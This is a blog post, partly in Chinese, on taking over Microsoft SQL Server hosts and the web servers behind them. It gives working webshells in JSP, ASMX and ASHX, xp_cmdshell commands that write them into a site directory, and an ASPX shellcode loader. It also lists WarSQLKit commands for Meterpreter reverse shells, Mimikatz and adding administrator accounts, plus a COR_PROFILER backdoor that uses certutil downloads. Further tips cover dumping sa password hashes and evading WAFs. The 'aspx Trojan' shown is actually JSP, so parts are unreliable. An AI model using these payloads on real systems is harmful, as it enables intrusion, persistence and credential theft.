ZyVOP Logo
Content That Connects
SeriesAI NewsWhy ZyVOPJoin Discord
ZyVOP Logo
Content That Connects

Empowering developers and creators with cutting-edge insights, comprehensive tutorials, and innovative solutions for the digital future.

Content

  • Categories
  • Tags
  • Badges
  • Leaderboard
  • Write Article
  • Newsletter

Company

  • About Us
  • Why ZyVOP
  • API Documentation
  • Write for Us
  • Contact

Connect

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • DMCA Policy
  • Code of Conduct

© 2026 ZyVOP. Crafted with care for the developer community.

Made with ❤️ by the ZyVOP team
All systems operational
HomeQuick MSSQL Penetration

Quick MSSQL Penetration

I0veD
I0veDcyber security researcher
August 12, 2026
8 min read
Quick MSSQL Penetration
Article

First entry summary: (for later testing)
Low permissions Service permissions No write or upload permissions on the user directory

1.whoami的sqlserver是服务账号,用户文件夹下的sqlserver是用户账号,所以web端没有写入权限,可以尝试写在//temp目录下
2.xp_cmdshell 这种东西容易遭到waf的拦截
3.金蝶用的是.net框架 直接使用clr编程。
4.金蝶用的是.net框架 直接内存加载exe
5.一般web应用的系统的poershell只有版本2没有3
6.有时候我们打进内网后无法突破内网隔离 linux可以直接meterpater添加路由,windows直接网关路由器直接添加(甚至可以A路劫持)
7..netweb站点可以命令执行的话,还可以写码,但是不要用常规的ashx,用asmx或者asox(需要找到合适的语法),这样waf的拦截率很低
8.一般response http 请求0~400都是可以访问的,我们可以二开冰蝎把返回包直接改成404,这样waf查杀概率十分低

References

1.https://github.com/etormadiv/HostingCLR
2.https://www.cnblogs.com/jerrylocker/p/10938899.html
3.https://www.cnblogs.com/Ivan1ee/p/10278625.html
4.https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247486075&idx=1&sn=b7ee2d8f83784a41aaa5c33aaca30752&chksm=fa5aa496cd2d2d809e99ef12185356ecdd02a590458a0d146b5019123274f9688d606bc3510d&token=263427717&lang=zh_CN#rd
5.https://yzddmr6.com/posts/asp-net-memory-shell-virtualpath/
6.https://www.t00ls.com/articles-22683.html
7.https://www.4hou.com/posts/G5ry

exec master..xp_cmdshell """whoami"""

Low permissions Service permissions No write or upload permissions on the user directory

Try to write code

tasklist Check the path on the web side

找到以下程序
aspnet_state.exe
inetinfo.exe
sqlwriter.exe
sqlceip.exe
SQLAGENT.EXE
fdlauncher.exe

These are some relatively sensitive files

Then we look at the environment variable directory

EXEC master..xp_cmdshell """echo %PATH%"""

get result

<![CDATA[C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Microsoft SQL Server\140\Tools\Binn\;D:\Program Files\Microsoft SQL Server\140\Tools\Binn\;C:\Program Files (x86)\Microsoft SQL Serv]]>
<![CDATA[er\140\DTS\Binn\;D:\Program Files\Microsoft SQL Server\140\DTS\Binn\;D:\Program Files\Microsoft SQL Server\Client SDK\ODBC\130\Tools\Binn\;C:\Program Files (x86)\Microsoft SQL Server\150\DTS\Binn\;C:\Users\MSSQLSERVER\AppData\Local\Microsoft\WindowsApps]]>

Nothing

Then we have to rely on experience to look at each market.

Found on drive D==

He was also tricked

Take a look at type

Make an aspx Trojan and write it in

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML>

Echo in line by line

注意 aspx木马 在网站目录中会解析 所以往往解析不了的话 会导致302 跳转到初始地址。

asmx Trojan

First, we must understand the running process of asmx

In fact, it is the workflow of webservice
The client sends an encapsulated SOAP packet, and the server responds to the encapsulated HTTP protocol SOAP packet and then returns an xml described by WSDL, which provides various method interfaces.
Then when we write the asmx code, we create a webservice server under the website and provide the returned class method interface -> the xml described by the returned WSDL.

<%@ WebService Language="JScript" class="asmxWebMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services;
public class asmxWebMethodSpy extends WebService
{
    WebMethodAttribute function Invoke(PAYLOAD: String) : Void
    {
        var I = HttpContext.Current;
        var Request = I.Request;
        var Response = I.Response;
        var Server = I.Server;
        Response.Write("<H1>ENJOY hack<a href=''>PAYLOAD</a></H1>");
        eval(PAYLOAD);
    }
}

What is used above is the WebMethodAttribute class

Ordinary eval is a bit stretched. We can rewrite it. As for rewriting the template, just apply the related operations of php-webshell that I did before.

Then we echo in one by one

注意 记得加一下转义字符 像下面

EXEC master..xp_cmdshell 'echo ^<%@ WebService Language="JScript" class="asmxWebMethodSpy"%^> >> D:\JINHER\C6\Control\1.asmx'

进阶-像下面这个嵌套在里面的<>的
Response.Write("<H1>ENJOY hack<a href=''>PAYLOAD</a></H1>");
就直接
EXEC master..xp_cmdshell 'echo Response.Write("<H1>ENJOY hack<a href=''>PAYLOAD</a></H1>"); >> D:\JINHER\C6\Control\1.asmx'

Just upload the type file and clean the web; eh

This is what it looks like in the end

Click invoke to open

Then modify the remote connection tool to comply with SOAP for attack

But the efficiency is not very good. It cannot be efficient. Direct exec execution is the same. It is not as effective as memory loading and dimensionality reduction.

ashx Trojan (feature handle)

<%@ WebHandler Language="JScript" class="HandlerSpy"%>
import System;
import System.Web;
import System.IO;
public class HandlerSpy implements IHttpHandler{
function IHttpHandler.ProcessRequest(context : HttpContext){
context.Response.Write("<H1> <a href='https://github.com/'>payload</a></H1>");
var I = context;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
eval(context.Request["payload"]);}
function get IHttpHandler.IsReusable() : Boolean{return false;
}
}

You can refer to this for second edition

.net memory code

Don’t look at the principles. The principles are really nonsense. Just look at how to use them.

All articles - (yzddmr6.com)I have read all the memory code articles. No specific code is given. I have a general understanding. There is no need to write it for the time being. We are the red team and can be written later.

Basically, access aspx and inject it into httplisten or router, and then connect to any address.

First put the center on the ASPX memory loading shellcode

WarSQLKit(sp_cmdExec)

Only supports .net4.0+! That is, versions above MSSQL2012

You need to customize the stored procedure (assembly) first

CREATE PROCEDURE sp_cmdExec
@Command nvarchar
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO

mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit: Bildiğiniz üzere uzun zamandır MSSQL üzerine çalışmalar yapmaktayım. Bu yazımda uzun zamandır uğraştığım bir konuyu ele alacağım, MSSQL Rootkit. Bildiğiniz üzere şimdiye kadar MS-SQL için anlatılan post-exploitation işlemlerinin büyük çoğunluğu “xp_cmdshell” ve “sp_OACreate” stored procedure’lerini kullanarak anlatılır. Peki xp_cmdshell ve sp_OACreate stored procedure’lerinin olmadığı bir MSSQL sunucusunun “sa” hesabını ele geçirmişsek, o sisteme girmekten vaz mı geçeceğiz? Tabii ki vazgeçmememiz gerekiyor. Bu makale “sa” hesabının yakalandığı ve “xp_cmdshell”, “sp_OACreate”, “sp_OAMethod” vb. prosedürlerin hiç birinin çalışmadığı bir senaryo düşünülerek kaleme alınmıştır. (github.com)

EXEC sp_cmdExec 'whoami'; => Any Windows command
EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY\SYSTEM rights
EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add" /RunSystemPriv'; => Adding users with RottenPotato (Kumpir)
EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'; => Adding user to localgroup with RottenPotato (Kumpir)
EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; => (Powershell) with RottenPotato (Kumpir)
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x64 Meterpreter Reverse Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection RC4 with  NT AUTHORITY\SYSTEM, RC4PASSWORD=warsql
EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter Bind Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_Mimikatz';
select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :)
EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300';  => Download File
EXEC sp_cmdExec 'sp_getSqlHash';  => Get MSSQL Hash
EXEC sp_cmdExec 'sp_getProduct';  => Get Windows Product
EXEC sp_cmdExec 'sp_getDatabases';  => Get Available Database

exec master..sp_oacreate "whoami" (it is difficult to judge the echo in actual combat)

No echo

sp_oacreate 是一个系统存储过程,用于创建一个 OLE Automation 对象的实例。它不用于执行类似 whoami 这样的命令行命令,
执行 exec master..sp_oacreate "whoami" 时,它不会返回任何输出,因为它并没有设计用于执行命令行命令。

But just because there is no setting, we still have a way to store files and execute commands.

1. Create an OLE object instance

EXEC @result = sp_oacreate 'WScript.Shell', @shellObj OUT

2. Use the sp_oamethod stored procedure to execute the run method

EXEC @result = sp_oamethod @shellObj, 'Exec', NULL, 'cmd /c echo %errorlevel%', @output OUTPUT

usedcmd /c echo %errorlevel%command to get the return value of command execution and save it in@outputin variables.

3. Finally, usesp_oadestroyThe stored procedure releases the used objects.

EXEC sp_oadestroy @shellObj

We can use sharpsqltools (first obtain the account password of the database and then use sharpsqltools to automate the above steps)

.net command execution

Prefer to implement backdoors to execute local beacons and the like to maintain permissions.

Ivan1ee/NET-Command: A collection of .NET command execution methods (github.com)

I also use LOLbins of Windows programs or components.

.net memory loading

When developing a .NET website, the website source code is mostly organized in the form of xxx.aspx and xxx.aspx.cs (or xxx.aspx.vb), and the .cs file or .vb file is the corresponding backend code. Usually after the website is published, these back-end codes are compiled into dll files, so you cannot modify them, but the front-end can still insert the back-end code

If both the front-end and the back-end define the Page_Load (described below) event, Microsoft also has a default rule to control the execution order of the two: the front-end executes before the back-end, so you don't have to worry that the code you write will not be executed.

In addition, if you directly put the code such as xxx.aspx and xxx.aspx.cs in the website directory, it can also be executed normally.

Page_Load event:

First upload an aspx file to the server with the following content:

<%@ Page Language="C#" AutoEventWireup="true"   Inherits="System.Web.UI.Page" %>
<%@ Import Namespace="System" %>

<script runat="server">
  protected void Page_Load(object sender, EventArgs e)
  {
      Response.Write(Hello());
  }
  private string Hello()
  {
      return "Hello World";
  }
</script>

When accessing this aspx page, the Page_Load event will be triggered.

The execution result of the above page is:

Image

You can use this to complete a lot of work, such as executing a command and starting a program. This is why you feel that aspx's webshell has higher permissions than asp. Therefore, it is not difficult to use it to execute shellcode.

<%@ Page Language="C#" AutoEventWireup="true" Inherits="System.Web.UI.Page" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>

<script runat="server">
   delegate int MsfpayloadProc();
   protected void Page_Load(object sender, EventArgs e)
  {
       byte[] codeBytes = { /你的shellcode/
              };
       IntPtr handle = IntPtr.Zero;
       handle = VirtualAlloc(
           IntPtr.Zero,
           codeBytes.Length,
           MEM_COMMIT | MEM_RESERVE,
           PAGE_EXECUTE_READWRITE);
       try
      {
           Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
           MsfpayloadProc msfpayload
              = Marshal.GetDelegateForFunctionPointer(handle, typeof(MsfpayloadProc)) as MsfpayloadProc;
           msfpayload();
      }
       finally
      {
           VirtualFree(handle, 0, MEM_RELEASE);
      }
  }

   //Windows API
  [DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc")]
   public static extern IntPtr VirtualAlloc(IntPtr address, int size, uint allocType, uint protect);
  [DllImport("Kernel32.dll", EntryPoint = "VirtualFree")]
   public static extern bool VirtualFree(IntPtr address, int size, uint freeType);
   //flags
   const uint MEM_COMMIT = 0x1000;
   const uint MEM_RESERVE = 0x2000;
   const uint PAGE_EXECUTE_READWRITE = 0x40;
   const uint MEM_RELEASE = 0x8000;
</script>

Image

You can see that it is connected, but the permission is still Network Service. At this time, even if you close the shellcode.aspx page, msfpayload is still running and the connection will not be interrupted. Of course, after restarting the website's application pool, msfpayload will stop running.

ps:
原理不太一样,mafpayload生产的payload,实际上是先把exe文件转码成hex的字符串放到aspx文件里,访问aspx时,临时把hex字符串写到一个exe文件里,再调用process.start()启动exe进程,也就是说你的webshell需要写权限和执行process.start()的权限才能成功。 我的这种方法相当于把shellcode直接放到内存里,用类似函数指针的方式启动。

But it doesn’t have to be so complicated at all. In fact, viper and msf come with aspx codes, which can be directly stored online.

Our various webshells also have related methods. In the post-penetration plug-in of webshell, we can launch the shell from,

Ice Scorpion can not only use the custom code execution function to obtain MSF sessions, but also use the rebound shell function to obtain CS/MSF sessions, but it does not support ASP scripts.

Connect to Webshell -> Custom code -> Execute ASP script to go online.

注:反弹shell中的Meterpreter和Shell内置的是x86的shellcode,不可自定义shellcode,如果IIS应用池为64位时可能无法上线,更换x64的Payload也不行,但可以反弹CobaltStrike。

If ASP.NET scripts are supported, we can also use the ShellcodeLoader and Meterpreter in memory loading to obtain the session. Godzilla will load the corresponding shellcode according to the number of bits in the IIS application pool, and there will be no problems such as x64 being unable to go online.

So the easiest way is to write an asp code and then load the shellcode into the memory in the behinder.

When using ShellcodeLoader to obtain a session, you need to generate a C shellcode first.\xand"and extra characters are deleted, just leave the hex shellcode, and then click load and run in order to get the session.

CLR exploit

First of all, our CLR function is not enabled by default in MSSQL. We need to enable it manually.

EXEC sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO

MSSQL uses CLR assembly to execute commands - Y4er's Blog

It's possible, but it's not easy to echo on the web. In actual combat, you need to customize the echo method (based on the current output matching logic)

MSSQL uses CLR technology to execute system commands-Tencent Cloud Developer Community-Tencent Cloud (tencent.com)To be more comprehensive, the landing dll is creating and loading the CLR assembly.

Using CLR to implement a backdoor that does not require administrator privileges

Using CLR to implement a backdoor that does not require administrator permissions - RoarTalk - Comprehensive service platform for the network security industry, 4hou.com

A backdoor that does not require administrator privileges and is capable of hijacking all .Net programs.

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID{11111111-1111-1111-1111-111111111111}InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
SET KEY=HKEY_CURRENT_USERSoftwareClassesWoW6432NodeCLSID{11111111-1111-1111-1111-111111111111}InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

Just execute exec in sequence. Please see the website for details.

ps:
通过WMI修改环境变量需要系统重启或注销重新登录才能生效,如果在一个cmd里面执行的话 可以省略wmi的步骤。如果要全局cmd的,就得wmi修改环境变量,然而EXEC master..xp_cmdshell 是用于在 SQL Server 中执行操作系统命令的命令。每次执行该命令时,它将在 SQL Server 实例的上下文中启动一个新的命令窗口,并执行指定的命令。 当然我们也可以使用&拼接或者写入bat批处理脚本执行。
dll得自己做一个cs的dll
这些wmic设置环境变量和reg添加注册表的危险操作容易被UAC

Image

Get database account password

Select name,password_hash from sys.sql_logins where name = 'sa'

select name,password_hash from sys.sql_logins

This means there is no hash, that is, no password.

Automation tool utilization

evi1ox/MSSQL_BackDoor (github.com)After obtaining the database account password, you can use OPENCLR load-shellcode. However, in actual combat, mssql is all in the intranet. So what should we do? So we can open another tunnel for it. It is interesting but troublesome (it is indeed unnecessary. Godzilla loads shellcode directly into the memory, and Godzilla can also open tunnels. It can also open tunnels after it is online, and then the tunnel is opened to bring this tool online. This seems redundant and multiple times.)

BlackArrowsec/MSSQLPROXY: MSSQLPROXY is a toolkit designed to perform lateral movement in restricted environments via socket reuse via a compromised Microsoft SQL Server (github.com)Use mysqlserver to open the tunnel (after the disadvantages of "unnecessary action" mentioned above, there is another disadvantage, which is that you still need an account and password. Then this also has advantages, emmmm anti-software does not intercept. Because one is memory loading and the other is also used by some developers)

I0veD

I0veD

cyber security researcher

Cloud Native & AI Sec Researcher Red Team | BAS | K8s | Evasion 20+ CVEs | CNVD/CNNVD Contributor 🛡️ AI-Driven Blue Team 👇 Works

Comments (0)

Login to post a comment.